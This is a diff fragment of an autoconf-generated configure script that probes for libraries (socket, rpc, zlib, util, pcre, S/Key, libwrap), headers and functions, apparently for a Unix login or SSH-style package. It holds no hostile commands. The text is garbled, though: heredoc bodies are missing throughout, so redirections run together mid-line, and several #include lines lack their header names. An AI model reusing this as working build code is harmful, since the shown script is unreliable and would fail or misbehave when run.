; then + echo $ac_n "checking for main in -lsocket""... $ac_c" 1>&6 +echo "configure:2323: checking for main in -lsocket" >&5 +ac_lib_var=`echo socket'_'main | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lsocket $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo socket | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + +fi + +echo $ac_n "checking for innetgr in -lrpc""... $ac_c" 1>&6 +echo "configure:2368: checking for innetgr in -lrpc" >&5 +ac_lib_var=`echo rpc'_'innetgr | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lrpc -lyp -lrpc $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="-lrpc -lyp -lrpc $LIBS" +else + echo "$ac_t""no" 1>&6 +fi + + +echo $ac_n "checking for getspnam in -lgen""... $ac_c" 1>&6 +echo "configure:2409: checking for getspnam in -lgen" >&5 +ac_lib_var=`echo gen'_'getspnam | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lgen $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lgen" +else + echo "$ac_t""no" 1>&6 +fi + +echo $ac_n "checking for deflate in -lz""... $ac_c" 1>&6 +echo "configure:2449: checking for deflate in -lz" >&5 +ac_lib_var=`echo z'_'deflate | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lz $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo z | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +{ echo "configure: error: *** zlib missing - please install first or check config.log ***" 1>&2; exit 1; } +fi + +echo $ac_n "checking for login in -lutil""... $ac_c" 1>&6 +echo "configure:2497: checking for login in -lutil" >&5 +ac_lib_var=`echo util'_'login | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lutil $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_LIBUTIL_LOGIN 1 +EOF + LIBS="$LIBS -lutil" +else + echo "$ac_t""no" 1>&6 +fi + + +# We don't want to check if we did an pcre override. +if test -z "$no_comp_check" ; then + echo $ac_n "checking for regcomp""... $ac_c" 1>&6 +echo "configure:2543: checking for regcomp" >&5 +if eval "test \"`echo '$''{'ac_cv_func_regcomp'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char regcomp(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_regcomp) || defined (__stub___regcomp) +choke me +#else +regcomp(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2571: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_regcomp=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_regcomp=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'regcomp`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_REGCOMP 1 +EOF + +else + echo "$ac_t""no" 1>&6 + + echo $ac_n "checking for pcre_info in -lpcre""... $ac_c" 1>&6 +echo "configure:2593: checking for pcre_info in -lpcre" >&5 +ac_lib_var=`echo pcre'_'pcre_info | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lpcre $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <<\EOF +#define HAVE_LIBPCRE 1 +EOF + + LIBS="$LIBS -lpcreposix -lpcre" + +else + echo "$ac_t""no" 1>&6 + + { echo "configure: error: *** No regex library found." 1>&2; exit 1; } + +fi + + + +fi + +fi + +echo $ac_n "checking for strcasecmp""... $ac_c" 1>&6 +echo "configure:2648: checking for strcasecmp" >&5 +if eval "test \"`echo '$''{'ac_cv_func_strcasecmp'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char strcasecmp(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_strcasecmp) || defined (__stub___strcasecmp) +choke me +#else +strcasecmp(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2676: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_strcasecmp=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_strcasecmp=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'strcasecmp`\" = yes"; then + echo "$ac_t""yes" 1>&6 + : +else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for strcasecmp in -lresolv""... $ac_c" 1>&6 +echo "configure:2694: checking for strcasecmp in -lresolv" >&5 +ac_lib_var=`echo resolv'_'strcasecmp | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lresolv $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lresolv" +else + echo "$ac_t""no" 1>&6 +fi + + +fi + +echo $ac_n "checking for utimes""... $ac_c" 1>&6 +echo "configure:2737: checking for utimes" >&5 +if eval "test \"`echo '$''{'ac_cv_func_utimes'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char utimes(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_utimes) || defined (__stub___utimes) +choke me +#else +utimes(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2765: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_utimes=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_utimes=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'utimes`\" = yes"; then + echo "$ac_t""yes" 1>&6 + : +else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for utimes in -lc89""... $ac_c" 1>&6 +echo "configure:2783: checking for utimes in -lc89" >&5 +ac_lib_var=`echo c89'_'utimes | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lc89 $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lc89" +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for strftime""... $ac_c" 1>&6 +echo "configure:2827: checking for strftime" >&5 +if eval "test \"`echo '$''{'ac_cv_func_strftime'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char strftime(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_strftime) || defined (__stub___strftime) +choke me +#else +strftime(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2855: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_strftime=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_strftime=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'strftime`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_STRFTIME 1 +EOF + +else + echo "$ac_t""no" 1>&6 +# strftime is in -lintl on SCO UNIX. +echo $ac_n "checking for strftime in -lintl""... $ac_c" 1>&6 +echo "configure:2877: checking for strftime in -lintl" >&5 +ac_lib_var=`echo intl'_'strftime | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lintl $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_STRFTIME 1 +EOF + +LIBS="-lintl $LIBS" +else + echo "$ac_t""no" 1>&6 +fi + +fi + + +# Checks for header files. +for ac_hdr in bstring.h crypt.h endian.h floatingpoint.h getopt.h glob.h lastlog.h limits.h login.h login_cap.h maillock.h netdb.h netgroup.h netinet/in_systm.h paths.h poll.h pty.h regex.h shadow.h security/pam_appl.h sys/bitypes.h sys/bsdtty.h sys/cdefs.h sys/poll.h sys/queue.h sys/select.h sys/stat.h sys/stropts.h sys/sysmacros.h sys/time.h sys/ttcompat.h sys/un.h stddef.h time.h ttyent.h usersec.h util.h utime.h utmp.h utmpx.h vis.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:2928: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:2938: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + + +# Check for ALTDIRFUNC glob() extension +echo $ac_n "checking for GLOB_ALTDIRFUNC support""... $ac_c" 1>&6 +echo "configure:2967: checking for GLOB_ALTDIRFUNC support" >&5 +cat > conftest.$ac_ext < + #ifdef GLOB_ALTDIRFUNC + FOUNDIT + #endif + +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "FOUNDIT" >/dev/null 2>&1; then + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define GLOB_HAS_ALTDIRFUNC 1 +EOF + + echo "$ac_t""yes" 1>&6 + +else + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + + +fi +rm -f conftest* + + +# Check for g.gl_matchc glob() extension +echo $ac_n "checking for gl_matchc field in glob_t""... $ac_c" 1>&6 +echo "configure:3000: checking for gl_matchc field in glob_t" >&5 +cat > conftest.$ac_ext < + int main(void){glob_t g; g.gl_matchc = 1;} + +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "FOUNDIT" >/dev/null 2>&1; then + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define GLOB_HAS_GL_MATCHC 1 +EOF + + echo "$ac_t""yes" 1>&6 + +else + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + + +fi +rm -f conftest* + + +echo $ac_n "checking whether struct dirent allocates space for d_name""... $ac_c" 1>&6 +echo "configure:3030: checking whether struct dirent allocates space for d_name" >&5 +if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +int main(void){struct dirent d;return(sizeof(d.d_name)<=sizeof(char));} + +EOF +if { (eval echo configure:3043: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define BROKEN_ONE_BYTE_DIRENT_D_NAME 1 +EOF + + + +fi +rm -fr conftest* +fi + + +# Check whether user wants S/Key support +SKEY_MSG="no" +# Check whether --with-skey or --without-skey was given. +if test "${with_skey+set}" = set; then + withval="$with_skey" + + if test "x$withval" != "xno" ; then + + if test "x$withval" != "xyes" ; then + CPPFLAGS="$CPPFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + fi + + cat >> confdefs.h <<\EOF +#define SKEY 1 +EOF + + LIBS="-lskey $LIBS" + SKEY_MSG="yes" + + echo $ac_n "checking for skey_keyinfo""... $ac_c" 1>&6 +echo "configure:3084: checking for skey_keyinfo" >&5 +if eval "test \"`echo '$''{'ac_cv_func_skey_keyinfo'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char skey_keyinfo(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_skey_keyinfo) || defined (__stub___skey_keyinfo) +choke me +#else +skey_keyinfo(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3112: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_skey_keyinfo=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_skey_keyinfo=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'skey_keyinfo`\" = yes"; then + echo "$ac_t""yes" 1>&6 + : +else + echo "$ac_t""no" 1>&6 + + { echo "configure: error: ** Incomplete or missing s/key libraries." 1>&2; exit 1; } + +fi + + fi + + +fi + + +# Check whether user wants TCP wrappers support +TCPW_MSG="no" +# Check whether --with-tcp-wrappers or --without-tcp-wrappers was given. +if test "${with_tcp_wrappers+set}" = set; then + withval="$with_tcp_wrappers" + + if test "x$withval" != "xno" ; then + saved_LIBS="$LIBS" + LIBS="-lwrap $LIBS" + echo $ac_n "checking for libwrap""... $ac_c" 1>&6 +echo "configure:3150: checking for libwrap" >&5 + cat > conftest.$ac_ext < + int deny_severity = 0, allow_severity = 0; + +int main() { +hosts_access(0); +; return 0; } +EOF +if { (eval echo configure:3162: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define LIBWRAP 1 +EOF + + TCPW_MSG="yes" + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + { echo "configure: error: *** libwrap missing" 1>&2; exit 1; } + + +fi +rm -f conftest* + fi + + +fi + + +for ac_func in arc4random atexit b64_ntop bcopy bindresvport_sa clock fchown fchmod freeaddrinfo futimes gai_strerror getcwd getaddrinfo getgrouplist getnameinfo getrlimit getrusage getttyent getusershell glob inet_aton inet_ntoa inet_ntop innetgr login_getcapbool md5_crypt memmove mkdtemp on_exit openpty realpath rresvport_af setdtablesize setenv setegid seteuid setlogin setproctitle setresgid setreuid setrlimit setsid sigaction sigvec snprintf strerror strlcat strlcpy strmode strsep strtok_r sysconf tcgetpgrp utimes vsnprintf vhangup vis waitpid _getpty __b64_ntop +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:3191: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3219: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in gettimeofday time +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:3246: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3274: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_hdr in libutil.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:3302: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:3312: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in login logout updwtmp logwtmp +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:3341: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3369: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in endutent getutent getutid getutline pututline setutent +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:3396: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3424: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in utmpname +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:3451: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3479: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 